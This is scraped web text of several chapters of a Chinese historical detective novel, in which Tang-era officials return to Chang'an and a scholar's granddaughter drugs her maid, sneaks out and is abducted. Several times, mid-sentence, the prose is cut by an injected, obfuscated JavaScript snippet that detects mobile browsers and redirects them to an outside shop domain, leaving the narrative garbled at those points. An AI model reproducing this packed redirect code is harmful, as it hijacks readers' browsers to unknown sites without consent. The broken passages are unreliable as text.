“不不不,我无亲无故,孤家寡人一个。不瞒沈娘子,我这易容术和拳脚功夫,都是幼时在悲田坊跟一个梨园子弟和退伍老兵学的,他俩都在长安待过,常提起繁华的长安城。 经此一遭我也不想待在这儿了,说来心寒,我自认待人真诚,虽东游西荡没个长久的正经事儿,但不偷不抢,走的也是正道,结果被那梁山陷害竟无人信我,帮我解困的还是素不相识的沈娘子……哎……所以我不想留在这儿了,想去长安看看。” “行吧,那我跟大理寺的官人们说说,便让你跟在后面吧。” 胡七大喜过望,又郑重一礼:“多谢沈娘子,路上有什么跑腿的事儿您尽管吩咐,以后如有用得上我的地方,您也千万别客气。娘子的大恩大德我胡七铭记于心!” “这话我就记下了,胡君回去收拾一下吧。” 胡七拍了拍肩上的小包:“嘿嘿,沈娘子,我都收好了。” 含霜凑过来嘀咕一句:“这是算准我家娘子心善。”沈缨华笑着点了点她的嘴,放下帘子。 启程前,裴湛特意找到冯县尉:“冯正,你在巩县待了多久?” “回少卿,今年是第四年。” “巩县县尉……从九品下。” 冯正有些窘迫地点头,从九品下,也就比不入流的低阶小吏好听点。 “你有实打实的功绩,也有为民着想的心意,这次大考大约能升一升吧。” 冯正苦笑一下,没有吭声,县丞人选早已内定,听闻是汜水县县令家的堂侄,他这寒门子弟,不会逢迎上司,亦没钱打点,大约会在这职位上再待一轮吧。 裴湛看出他这是郁郁不得志:“冯正,你想去大理寺吗?我那儿空了一个评事,品级虽没高多少,不过我向来看好有能力的人,再过几年,耿世琛的位置你也不是不能坐的。” 冯正还在心中伤感自己恐怕这辈子能到七品县令就不错了,哪知裴湛直接扔了一张大饼砸到他头上。 他傻愣愣地盯着裴湛,见他表情认真,不像是在作弄他,颤颤巍巍问:“裴……裴少卿,您真能让我调入大理寺?” “你还怕我说话不作数?” “不不不,我……我……”冯正结结巴巴半天没把舌头捋直。 “行了,这事儿就这么定了,我会跟吏部招呼一声,你先当个评事。哦,对了,你成家了吗?” “成了,去年娘子还为我添了一个儿子。” “长安开销不便宜,若一时困难,来找我便是,我帮你安排一处租金便宜的院子。” 冯正感动得满眼通红,科举之后数年,他郁郁不得志,县令是个得过且过的主儿,手下一帮人没少背地里骂他不过是个九品芝麻官,一天折腾人,可他依旧坚持为官一日要对得起本心。 经年累月,他早已看淡官场,深知自己这性子只能给人家当个垫脚石。 未曾想,一朝得见伯乐,还能入长安为官,虽只是八品评事,但有此等年轻有为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317615|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又为手下着想的上司,日后说不定真能在大理寺有所作为。 想到此,他扑通一声跪在地上,重重一磕。 裴湛把他扶起来:“起来,你这是作何,以后便是同僚……对了,你可有表字?” “下官表字子澄。” “我表字云策,你我年岁相差不大,咱们私下称呼可以亲近些,我不是那般迂腐之人。还有,此事你先别嘴快传出去,自己知道就行了,以防小人从中作梗。” “裴少卿说的是。” “嗯?” “云策说的是。” 远处的耿文达看着这似曾相识的一幕,叹口气,往事不堪回首,一旁的张金有些奇怪:“耿司直,您这是怎么啦?” “咱们的裴少卿又开始画饼啦。” “嗯?” “快去瞧瞧沈娘子她们回来没,准备出发,回长安咯。” 洛阳回长安,一路风景秀丽、地势平坦,往来途中驿站约三十余所,幸得大理寺一路保驾护航,他们回程极其顺利,耿文达更是将马屁功夫发挥到极致,生怕沈娘子赶路太累,硬生生顶着上司的黑脸,将来时六天的路程,拖到第十天才赶到距离长安西十里的临皋驿。 他们一早出发中途未停,眼见即将到达,耿文达吩咐人去驿站张罗一下,让沈娘子她们喝口茶歇息片刻,又安排人先回沈府通传一声。 沈缨华笑盈盈地收下这片好意,另一边的裴湛又一次垮了脸,揪着耿文达的耳朵去了后院。 “耿世琛,你胆儿肥了啊,几次三番耽误行程,怎么,你瞧上沈家娘子啦?” “头儿,冤枉啊,我哪儿敢觊觎人家吴兴沈氏的大家闺秀,我这不是想着给人留下好印象,日后万一咱们跟刑部合作的时候,沈侍郎能给一点方便嘛。” “怎么,我这名头还不够让你行方便的?” “哎哟,头儿,云策兄,我总不能把您这大忙人拉出来帮忙摆平下面难缠的小鬼吧,若是有个管事的官人能行个方便,何乐而不为呢?您说是吧。” 裴湛锤了他肩膀一拳:“你小子最好说的是真话。顺便奉劝你一句,沈侍郎这一支,家风甚严,据说男子四十无子才可纳妾,且庶出子必须由正妻抚育,他们家女子似乎也会令郎君保证遵从此家规才肯出嫁。” “啊?那那那……沈家女儿还能嫁得出去?” “所以沈家向来喜欢低嫁择婿,不过都是些有潜力的举子,沈侍郎眼光倒是不错。” 耿文达奇怪地看了他一眼:“头儿,你怎么知道这么多?你派人查过?” 裴湛语气一噎,轻咳一声:“我祖母和母亲一天到晚就想帮我张罗婚事,我记得似乎提起过沈家。” “哦,怪不得,您这种高门子弟肯定不能惯着人家这规矩,怪不得没成。” 裴湛反手又是熟悉的一巴掌:“你少废话,快去看茶水安排得如何了。” 耿文达碎碎念上司翻脸比翻书还快,怪不得他娶不上娘子,身边也没个知冷知热的人。不像他,虽无娘子但平康坊的红颜知己还是有那么几位……遭了,离开前忘了买胭脂给柳燕和莺莺,回去又要被她俩念叨。 马上就要到长安,裴湛叹口气,心想又要被家里两尊大佛催婚,真是心累……不过,阿母当时为何会排除沈家呢,难道真的是怕我生不出儿子?打住打住,乱想什么呢,都怪耿世琛这小子! 17. 第 17 章 临皋驿往来人员众多,驿丞一眼瞧出这是大理寺的官人,硬是给他们安排了一处人流较少的角落。不过此刻大堂几近满座,角落也谈不上清静,各色谈资八卦涌入耳中。 “你们听说了吗,最近长安城可不太平,万年县那边出了好几起盗宝案,据说那飞贼都偷到李公家中去了。” “哟嚯,这贼人胆儿还挺肥,居然敢偷当朝宰相的家。” “权贵丢几件宝贝算什么,最吓人的是,长安县那边出了拐子案,丢了好几个小娘子和幼童。” “什么?!当真?” “嚯,我还能骗你来着,县衙和金吾卫天天巡查也没抓到人,也不知这拐子从哪儿来的。” “莫不是他们人手派得不够,都去查李公家的失窃案吧。” 沈缨华一边喝茶一边竖着耳朵听人闲聊,顺便跟阿玲盘算自己的话本事业。 长安城最近治安这么差,盗贼拐子都敢到天子脚下撒野了,看来家里的长辈们都不得闲,那岂不是可以去打听一下书肆的情况,毕竟阿玲说了,得先了解市场需求再下手…… 另一桌的裴湛则在默默盘算该借哪个案子的名义去躲家里催婚的长辈,要不就用拐子案吧,毕竟这事儿闹的够大…… 临近午时,马车在沈府大门停下,沈家老小早已等候多时,沈缨华一下车,她母亲谢温宁迎了上来,眼眶微红,上下左右打量,嘴里念叨:“大半月不见怎么又瘦了。” 沈缨华抱住娘亲撒娇:“阿母乖,不哭不哭啊。” 沈家人忍俊不禁,谢温宁掐了一把不着调的大女儿:“又浑说。” 祖母萧玉问:“丹娘,裴少卿和耿司直呢?” “刚入城,大理寺就派人来接他们回寺,说是有要案亟需办理。” “既如此,那待官人们忙过正事后,再上门拜谢。” “大姐,回来路上可碰见什么趣事?”小堂妹沈沐华年芳十四,正是天真活泼的时候。 二叔母陈苒还未来得及训斥一天贪玩的小女儿,沐娘的同胞姐姐,府中行二的沈佳华率先开口:“你就知道玩儿,书院的功课做完了吗?” 沈家的娘子们皆在琼林女子书院上学,沈缨华和二堂妹学业优异,常得先生夸奖,小堂妹则是个贪玩的主儿。 “快做完了……吧。”沈沐华说罢偷偷看向身后的贴身婢女,却见她隐晦地摇摇头。 哦豁,这小妮子又让婢女帮忙做功课,沈缨华幸灾乐祸:“看来我不在的时日里,某个小娘子依旧如故嘛。”说罢点了点小堂妹的额头。 陈苒一把揪住小女儿的耳朵,一边数落她一边拉着往院子里走,沈家人见状也拥着沈缨华去厅堂。 刚一落座,萧玉拉着大孙女的手说:“修安、克安都在书院,过些时日才能回来。你阿翁阿耶过会儿下朝就能见着,不过你二叔最近公务繁忙,不知今日能不能归家。” “是在忙着找那群拐子吗?” 萧玉一怔,忙问:“这事儿都传到洛阳去啦?” 陈苒也紧张起来:“那会不会影响夫君以后的升迁?” 沈缨华安抚地握住祖母的手又安慰二叔母:“没有,大母,叔母,我在临皋驿歇息的时候,听邻桌有人谈起此事。” 萧玉这才放下心来,二儿子最近因这案子吃不下睡不着,一心全扑在抓拐子上,可大半月过去了,依旧毫无头绪,京兆府生怕这事儿传到圣人耳边,只能日日施压,沈家郎君们聚在一起分析许久,仍是毫无进展,家中每日愁云惨淡。亏得大理寺带回丹娘即将归家的消息,这才让一家老小高兴了好几日,不过…… 萧玉眼神八卦地盯着大孙女,问:“丹儿,你怎么跟大理寺的人一起回来?你阿翁阿耶和裴三郎素无交情,他这么好心?” 女人们闻言眼神都变了,几人眉来眼去,带着暧昧的笑意,谢温宁甚至热切地看向沈缨华,她面色无奈:“哎哟,我的大母耶,您真是想多了,那裴郎君既不是顺路亦不是好心,他那良心可是大大的坏,直接把我当成他的手下使唤。” “啊?”众人不解,虽听闻裴三郎不解风情,不近女色,但到底是高门子弟,表面功夫还是到家的,没想到竟如此对待自家如珠如宝的丹娘。 沈缨华话锋一转:“不过,这也不能怪他,谁叫我聪慧无比,他手下郎君们都比不上呐。” 三妹沈沐华忍不住拆台:“堂姊,你的脸皮越发厚实了。” 沈缨华轻轻点了点小妹的额头,一脸“你不懂”的表情,娓娓道来这一路起伏跌宕的经历。 刚说完,二妹沈佳华忙问:“堂姊,为何冯县尉猜到被害的□□道长被埋在枯木下?” “嗯……周围土地贫瘠,皆是杂草枯枝,但就那棵枯木上缠着一株极为丰茂的凌霄花,事出反常必有妖嘛。” 三妹沈沐华结结巴巴地问:“你们说,会不会是冯县尉见到了道长的……魂儿……”恰好冷风入堂,众人被激起一片鸡皮疙瘩。 陈苒搓了搓手臂批评小女儿:“让你少看那些志怪话本,一天到晚说瞎话!” 沈缨华也附和:“就是,什么鬼啊魂啊,□□道长自幼在清安观长大,那观中有许多老观主生前种下的凌霄花,她外出云游时带走数颗种子,被害后种子随她被埋在枯木下,经年累月破土长成而已。” 萧玉叹口气,有些伤感地说:“可怜的孩子,她的遗骨可运回去了?” “案子一结束,清安观的道长们就把她带回去了,说是要安葬在老观主身边,但愿她们能在来世团圆。” …… 秘书省的官舍,午时一到,沈瑜立马停笔,匆忙收拾一番就要告别上官,秘书丞颇感惊奇:“敬之今日这般准时,是有要事?” 沈瑜笑呵呵地行礼:“丹娘从洛阳返家,算算时辰,估计快到了,今日想快些回去见她。” “你有大半月未见令嫒了吧,那快些回去。” “多谢柳公。” 沈瑜一路小跑到朱雀门,见自家马车已等在门前,父亲沈朗掀开车帘不耐烦地冲他喊:“你倒是快些啊。” 沈瑜只好提着一口气又加速跑上车,一上车就喘粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317616|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气找水喝,沈朗一脸嫌弃地递给他一杯茶水,继续数落:“自从去了秘书省便疏于锻炼,跑两步就气喘吁吁,越发不中用了,休沐时去练练骑射。” 沈瑜不敢顶嘴,唯唯诺诺地应下,知道老父亲看他心气不顺,还是在怨他当年一意孤行,非要去弹劾太子的人,结果惹祸上身,丢了御史之职。 这倒也罢了,如今二弟正顶着压力查案,结果太子那边的人又开始蠢蠢欲动,若是案子破不了,恐怕二弟的官职也岌岌可危了。 父子俩揣着心事,一路无话,进府后刚入主院就听到心心念念的声音。 “堂姊,那妇人最后如何立起来的?” “万安观中有一自幼习武的道长,道号奉真,拳脚功夫了得,喜收徒传艺,那妇人便拜奉真道长为师,躲在观里苦练一年,下山回家便把那爱打人的夫君和婆母狠揍了一顿。” “那一家子就被收服了?” “拿奉真道长的话来说,嘴巴说不清的道理,就用拳头揍到他能懂为止,若是一次不行,再多揍几次即可。” 沈朗一改看见糟心大儿的阴沉脸,笑容满面走进厅堂:“丹儿要揍谁啊?阿翁帮你收拾他去!” 沈缨华迎上去揽住沈朗的臂膀,又见父亲沈瑜也在一旁,一左一右揽住最爱她的两个男人,说:“谁敢欺负我啊,阿翁和阿耶的名头就是我的保护罩,大理寺的官人们都要敬上几分,您是不知道那耿司直一路殷勤周到,生怕得罪您。” 沈朗抚了抚花白的胡须:“耿文达?那小子惯会溜须拍马,不过……也确有几分本事。” 沈瑜瞧着大女儿似乎轻减了几分,心疼地问:“丹儿,路上吃食是不是不合胃口?” “路上吃食当然比不上家里,不过这一路甚是有趣……”沈缨华又把先前的经历再说了一遍,甚至还特意着重细说现场情况,以及她如何发现的不合逻辑之处。 沈朗扶着胡须,连连点头,不愧是自己一手启蒙的孩子,思维清晰、逻辑缜密、心细如发,比一腔热血、顾头不顾腚的大儿子有用。 沈瑜听得心潮澎拜:“这高县令虽一开始抓错了人,好在没有将错就错,及时改正。那位冯县尉……可惜待在巩县,大材小用了,哎……” 沈朗瞥了一眼大儿子:“这你就不用担心了,那裴三郎对自己瞧上的人向来大方。丹儿说的仵作杨娘子,我也略有耳闻,杨家能够翻身重新开医馆,也是他直接出面把找茬的人解决咯,这小子连慧妃的面子都敢下,那县尉升迁不过是他一句话的事。倒是我家丹儿,衬得他手下没甚大用,哈哈哈。” 沈缨华摆摆手,假意谦虚:“阿翁,太过了,太过了……” 阿玲躺在白雾中,翻了个白眼:怪不得阿丹特能吹,原来这根儿在她爷爷上!虽说这个时代的女性有诸多不易,但这丫头还真是例外,高门士族,长辈开明,家庭和睦,命可真好啊……只是,总觉得我忘了什么…… 沈府上下欢声笑语,长安县县衙却乍起一道惊雷。 “什么?王太傅的小孙女,王十一娘失踪了?!” 18. 第 18 章 “十一娘,这字不能不练,五郎君出门前特意嘱咐的。”丫鬟翠竹轻声哄着王熙,又小心翼翼递上一杯茶水:“要不……先喝杯茶,已经加了娘子喜欢的橘皮和蜜枣。” 王熙不吭声,闷闷不乐地托腮望着窗外,今日春光甚好,阳光铺在案几上,窗外海棠随风摇曳,蝴蝶翩跹,处处皆是好风光。 偏偏阿耶非要将她关在屋里,练那劳什子的字,不就是书院月考稍稍落后了几名而已,至于嘛。 她收回目光,眼神无意中落到案几边的木匣上,对了,用了这玩意儿岂不是就能出去溜达几圈…… 刚满十四的小娘子脑中蹦出一个大胆的计划。她先是装模作样练字,不出一炷香,借口茶水淡了,让翠竹去前院取些现磨的茶粉回来,趁此空档,从木匣里翻出一个被层层包裹的小瓶子。 几日前,她无意中听闻务本坊有些街边小贩会卖从鬼市流出来的东西,一时兴起,趁着丫鬟们不注意,溜到小胡同里找到小贩,挑挑拣拣选了几样新奇“玩意儿”,其中便有这传说中“一步倒”的迷药。 她计划将药粉倒入茶壶,让翠竹喝下后自己换一身打扮,偷偷溜出去玩儿。可……这药粉该下多少合适呢?下太多,会不会出事啊,下太少,万一她还没溜出去翠竹就醒了那也不成。 正在犹豫中,翠竹推门而入,王熙手一抖,药粉大半掉入壶中迅速融化,她一时慌了神,瓶子跌落在地。 “十一娘,笔掉了吗?” “嗯。”王熙忙弯腰假装拾笔,实则将药瓶踢到角落。 翠竹径直添了茶粉,小火煮沸,又将案几的茶杯续上一些。 王熙起身回头,见杯中茶水已八分满,如今骑虎难下,她只得拿起茶杯,假装在唇边过了一下:“翠竹,你尝尝,这茶水味道有些奇怪。”说罢把杯子递给翠竹。 小丫鬟不疑有他,喝下一口,皱了皱眉:“似乎有点酸味,娘子您别喝了,我去换一壶。” “酸?我觉得是有点苦呢,要不你再尝尝。” 翠竹又乖乖喝下,一杯见底,仔细咂摸两口,没有苦味,就是微酸,还……还有点晕。 翠竹顿感天旋地转,茶杯掉落摔碎,步履蹒跚,嘴中喃喃自语:“娘……娘子,这天儿怎么在晃啊……”突然眼前一黑,人也软了下来。 王熙被吓得不轻,吃力地接住瘫软的翠竹,实在是太沉,她只得双手架住其腋下,费了半天力才将人拖到塌边,深吸一口气将人推到塌上。 王熙擦去鬓边的汗水,又小心探了一下翠竹的鼻息,确认她只是睡着后,心中大定,立即将翠竹的外袍脱下,又把自己的外衫换下盖在昏睡的小丫鬟身上。 穿上丫鬟的衣服,拔下满头珠翠,快速梳了一个双环垂髻,她满意地对铜镜中的“小丫鬟”点点头。 计划进行得出奇顺利,她今日运气不错,近来府上正筹备祖父王太傅的生辰宴,每日采买进出的人较多,后门的看管比较松懈,她在花园随意搬了一株芍药,跟在送货的花商后混出家门,“越狱”成功! 西市,熙熙攘攘的人群穿梭在街道上,街边店铺里,衣着华丽的胡商操着一口夹杂方言的官话和老板讨价还价,酒肆门前穿着妖娆的胡姬正翩翩起舞招揽顾客,茶肆中炭火炉上的茶壶正溢出阵阵茶香,路边小摊上刚出锅的胡饼散发出诱人的焦香,说书人支了个小摊,抑扬顿挫地讲述志怪故事,周围聚满了听众看客,好不热闹…… 久未出门的王熙一边吃饼一边听故事,听到精彩处还学人丢几个小钱给说书人。东逛逛西晃晃,眼见即将闭市,王熙这才想起自己是偷跑出来的,若翠竹提前醒来或者其他人送晚膳,发现她不在屋内,那就完蛋了,必定会被阿耶禁足至少一个月。 她慌忙向永兴坊跑去,奈何体力不支,才刚跑到延寿坊外,就累得气喘吁吁,靠着墙边休息,一小童牵着驴车主动上来搭讪:“阿姊,可要坐车?” 王熙正愁自己没力气跑回去,忙说:“要坐要坐,到永兴坊。” 小童眼睛一转问:“阿姐是去找哪家贵人?” 王熙刚想说回王府,可她这身打扮实在有失身份,只好硬着头皮胡编:“额……我是给王家送花的商户家的婢女,去王家看看那花儿种好了没,嗯,对。” 小童转身掀开车帘:“阿姊上车吧。” 王熙也未多想直接爬上车架,坐在窄小的车厢内,小童隔着帘子说:“阿姊渴了吧,旁边有蜜水,自己倒啊。” 王熙一喜,正好口干舌燥嗓子都快冒烟了,倒上一杯就咕咚咕咚一口喝完,还不过瘾,再续了一杯才缓过来。 她突然想到这价格都还没说,忙问:“小孩儿,到永兴坊,什么……什么价,哎,这车怎么……在在转……”而后栽倒在车里不省人事。 小童听见声音知道这单成了,换了一副洋洋得意的面孔,低声说:“价格?好说好说。”驴车慢悠悠地掉头向南走。 …… 王五郎归家想考校小女儿今日的学业,进屋才发现翠竹被人剥了外衫一睡不起,女儿十一娘不知所踪,王家上下天都塌了。 好不容易用凉水将翠竹泼醒,这丫鬟只记得喝了一杯茶水,人便晕了,其他线索全无。王五郎实在是坐不住了,令人去万年县县衙将雷县令请过来。 衙役们一番寻找这才在房内不起眼的角落发现小药瓶,再结合茶中有迷药,十一娘的发簪全放在梳妆台上,翠竹的外衫被拿走,种种迹象显示王十一娘恐怕是乔装打扮离家外出。 王熙的母亲想起小女儿早上还嚷嚷着想去西市逛逛,眼见即将闭市,衙役和王家人不敢耽搁,快马扬鞭去西市找人,问了一圈,有人说见到一位很像王熙的小娘子上了一架驴车,但具体去哪儿就不得而知。 联想到长安县近日出了多起小娘子和幼童失踪案,王家人一刻也不敢耽误,立马飞奔去长安县摇人。 县令沈珏头都大了,不可置信地追问:“你确定失踪的是王太傅家的小娘子?我记得他家住在永兴坊啊,这事儿该报给万年县呀?” 捕快一脸微妙地解释:“沈明府,据王家说,王家小娘子扮成女婢偷跑出门去西市玩儿,然后人就不见了,所以……所以他们想让您找人!” “胡闹!这小娘子简直胡闹!竟然还敢偷跑,真是……真是胡闹。”沈珏气得肝疼,半个月四起毫无头绪的失踪案,他早已不堪重负,若这王家小娘子也丢在他的地盘,那就真的别过了,等着被降职吧。 “明府,王家人还等在外面呐。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317617|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哎……走吧,喊上一队人马,再去请右金吾卫跟咱们一起去找人吧。” 王太傅家的小孙女丢了,即将迎来七十寿诞的王太傅一夜病倒,消息迅速在皇城内传开,连圣人都被惊动了,他立即吩咐京兆府、金吾卫、大理寺三方出马寻找王十一娘。 可蹊跷的是,大批人马在附近搜了整整两天依旧毫无线索,那辆驴车和赶车的小童就像凭空出现又转眼消失了一样。 …… 裴府,满园桃花开得烂漫,安国公夫人李婉特意叫上几位手帕交赏花品茶,几人恰好说起这两日的大新闻--王十一娘失踪案。 “善柔,你家小三郎可有说查到什么?” “说?这两日我连他的面儿都没见过!我本算着大考后人员变动颇多,好些外地的官员要携家眷回长安,就想攒一场马球会让湛儿可以跟新来的小娘子们多接触接触,这下可好,他忙得家门都回不了!” “怎么,咱们长安的小娘子,你都看不上啦?” “崔五,你少损我,明知是那小子把城中贵女得罪了大半让我没脸,如今外边儿都说他裴三郎眼光高、性子冷、佳偶难觅。” “善柔,你这可就多虑了,只要你家湛儿肯娶,这长安城里的娘子们绝对会排着队来等他挑。” 李婉冷笑一声,心想他要是愿意,我还用操心嘛,阿家都愁得去观中茹素以求月老牵线,可惜她这小儿子的红鸾星硬是动不起来。 “说起找人,善柔,我倒有一事相求。” “何事竟要你出面?” “一桩小事,只是我家那官人不肯帮忙,今儿正好说到,便想厚颜让你帮我问问小三郎,若是得空派人帮我找一个人。” “谁啊?” “巧娘,就是上次你去我府上做客,还夸她做的透花糍精致可口的那个小厨娘。两日前,她外出采买无故失踪,报官后未找到人,雷县令怀疑她偷钱私逃,但那日她所带钱两也不多,房里衣物俱在。她大约是四五年前卖身到府上的流民,家里也没人了,能逃到哪儿呢?” “这样说来确实古怪,莫不是被西市那帮拐子绑走了?” “可她是去东市采买啊,应当未去西市才对。” 李婉知道好友安昌伯夫人郑姝向来心善,她怜悯身世可怜的巧娘,怕她遇上歹人出了意外,若是不想办法寻一寻,无依无靠的小厨娘大约会消失于茫茫人海。既如此,李婉也不推脱,应了下来。 恰好当晚,裴湛终于归家,她立即将郑姝的委托告知儿子。 “母亲,您又不是不知,我近日被那王十一娘失踪案搞得身心俱疲,怎么又给揽一个破事回来。” “我不是让你亲自去找,你吩咐几个得力手下去打听一下就好。怎么,如今阿母使唤不动你裴少卿,就你姨母能,是吧!” “我……我不是这个意思,明日便派人去安昌伯府行了吧。” “这还差不多。” 再次被亲人胁迫接案的裴湛心情郁闷,第二日上值,刚到大理寺就开始发飙,无差别攻击办案无能的手下。耿文达作为受害者代表特意前来安抚始作俑者,这才得知症结,立马拍胸脯保证会搞定此事,转头就叫来杨沅君和张金,让他二人去查厨娘失踪一事。 19. 第 19 章 今日一早,沈缨华就吩咐厨房做几盒点心,她要去大理寺看沅娘。 大理寺上下都忙着找王家小娘子,杨沅君一个仵作帮不上忙,天天都在衙署内埋头苦写,只是她不擅创作,写得极为痛苦,正哀叹自己一身技艺怕是要失传,一身胡服的沈缨华就领着含霜、玉露来找她了。 “丹娘,你怎么来了?” “喏,家里做的小点,我觉得还不错给你带了些,犒劳一下每日辛苦伏案的杨娘子。” 又让含霜、玉露去各厅堂送一份,毕竟她打定主意要赖在大理寺找素材。 这事儿还得从巩县采花贼杀人案完结后说起,沈缨华亲身参与侦破案件后,灵感大爆发,从一开始的警示小故事直接升级为长篇探案普法小说。 小说主角名为“元娘”,故事以“她”的视角展开,查找案件真相,顺便夹带私货,比如普及当世律法,为弱势群体发声,以及讽刺某些官员……她一个披着马甲的话本家,怎么刺激怎么写。 既然原型就在大理寺,作为一部以真实案件为基础创作的小说,她决定赖上沅娘,白嫖大理寺卷宗库。毕竟,刑部是阿翁的地盘,万一被发现可不好,但她家没人在大理寺当官,就算被发现,大不了去裴少卿那儿认个错,下次接着干。 “丹娘,你家厨子做的这个真好吃!”杨沅君沉浸美食不可自拔,完全没有察觉到好友把她当“观察对象”。 沈缨华发现案几上的草稿:“沅娘,你已经开始写了吗?” 杨沅君有些不好意思,正想说一页纸都写不出来,耿文达让张金唤她去前厅议事。 前厅里,张金一脸为难:“司直,我一个录事,平时只会写写卷宗文书,没有调查寻人的经验啊。” 杨沅君手拿绿豆糕,嘴里还嚼着,含糊不清地附和:“就是就是。” 耿文达见官威没压住两个兔崽子,愤愤地抢过杨沅君手里的糕点,一口吃下:“你们……嗯?这绿豆糕还不错,哪儿买的?” “丹娘给我带的,说是家里做的,味道极好,清甜可口,入口即化。” “还有吗?” “没了!” “耿司直,沅娘诓您,沈娘子带了好几盒糕点,人还在偏厅呐。” 耿文达转头就走:“去偏厅,我给你俩说说该如何查。” 偏厅里,沈缨华随手展开被沅娘揉成一团的废纸,内容写得琐碎了些,都是零散的验尸技艺,看着有点杂乱无序,她提笔先帮沅娘搭建大纲,正写着,一道声音由远及近:“沈娘子,您来啦,有失远迎,嘿嘿嘿。” 这谄媚度满分的腔调,是耿文达没错了,沈缨华挂上大家闺秀营业微笑,起身一礼:“耿司直,几日未见,风采依旧。” “沈娘子客气,您这写的是?”耿文达余光注意到案几上的纸。他侧过身仔细查看上面的字,心下一惊。 他知道沅娘想写仵作手记,看过几次草稿后,他直言小沅娘验尸在行,但写文章还是……算了吧,毕竟那些零零碎碎的技艺实在凑不成一本书啊。但沈缨华列的这一堆章节纲要,几乎帮沅娘把筋骨架好咯,她自己慢慢将血肉填进去即可,妙啊! 耿文达暗赞:沈娘子不光逻辑缜密,头脑聪颖,这才学也是不输大家,可惜出身太高,没办法拉拢,不然来大理寺帮忙能替他们省下多少事儿……嗯?帮忙,她跟沅娘要好,那是不是…… 耿文达自幼奉行实用主义,只要能完成目标,手段可以灵活点,什么男女有别、身份贵贱,压根可以不在意,既然沈娘子是沅娘好友,那把事儿交给沅娘,想来她定会出手相助。 耿文达满脸堆笑恭维:“沈娘子真是才学过人,我们沅娘能跟您成为闺中密友是她的福气,既然您也不是外人,这腰牌您也留一个,以后大理寺您随时可进。”说罢就从腰间取下一块牌子双手奉上。 沈缨华笑纳收好,心想:这厮也忒好了点,他是对我有企图还是对沅娘有啥想法啊? 阿玲附和:这小子一看就是个人精,无利不起早,怕是别有用心,你提防点儿。 沈缨华还在跟阿玲猜测耿大官人的用意,耿文达直接当她面说起安昌伯府厨娘失踪一事,又给两个手下点明该如何下手侦查。 先从巧娘失踪当日的行动轨迹入手,再查一查她的身世背景和在伯爵府中的人际关系。 大理寺当下要专注王十一娘失踪案,抽不开人手,二人可以报他耿文达的名号去县衙摇人,这厨娘的下落能查到最好,若是查不出,他也不会怪罪。 既已得到上官不降罪的保证,张、杨二人也不好再推诿,只得硬着头皮接了下来。 耿文达满意一笑,顺了两盒点心,施施然离开。 沈缨华这才回过味儿:这小子奸诈啊,不知被谁丢来一个找人的烂活儿,推脱不掉,人手又不够,说什么可以找县衙帮忙,哄谁呢,全长安都在关注王家的案子,她二叔都忙得几日不回家了,衙门根本不可能抽调人手,所以他故意交给八竿子打不着的沅娘,原是算准我会出手帮忙,白嫖我的人脉啊,真是够鸡贼的。 耿文达要是得知沈娘子是这么想的,大概会伤心,他耿某人是真觉得沈娘子聪慧,又不好把事儿直接交给她,这才拐弯抹角拉上沅娘来着。 沅娘只会验尸,调查案子没头绪,双眼迷蒙看向沈缨华和张金。张录事是见识过沈缨华的能力,深感佩服,毫不犹豫将办案指挥权交给沈娘子,不过沈缨华怕惹来麻烦,让张金当个挂名的小队指挥。 总之,这事儿归他们管了,初出茅庐的三人调查小组立即动身前往安昌伯府。 安昌伯娘子郑姝没想到不过一夜就有大理寺的官人上门调查,心说还是善柔靠谱,一见却是一位年轻郎君带着两个胡服小娘子,穿的倒是大理寺官服,腰牌也对,就是…… 张金看懂了伯爵娘子的顾虑,忙解释:“郑县君,大理寺其他人都被抽去调查王十一娘失踪案,眼下这巧娘失踪一事只得由我三人负责,不过还请您放心,我三人必定全力以赴。” 郑姝点头,也知当下令大理寺帮她找人已是强人所难,裴三郎想必也是顶着压力抽出的人手,她不再计较,说起巧娘的身世和失踪的全过程。 巧娘大名林巧,今年十八,原籍汴州,家中原有六口人,五年前家乡发大水,只余她一人存活,随逃难的流民入了长安城,为了活下去自愿卖身为奴,被好心的郑姝买下。她感念伯爵娘子的恩情,入府后极为勤快,手巧肯学,不到两年就从打杂丫鬟晋升为小厨房的厨娘。 大约三日前的早上,巧娘外出去东市采买鸡舌香做糕点,常去的几间香料铺恰好缺货,她最后一次出现是在奇香坊。店主正跟巧娘推荐用其他的香料代替,她好像看到什么了,突然喃喃自语转身出门,因店里还有其他客人,店主也未留意她去往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 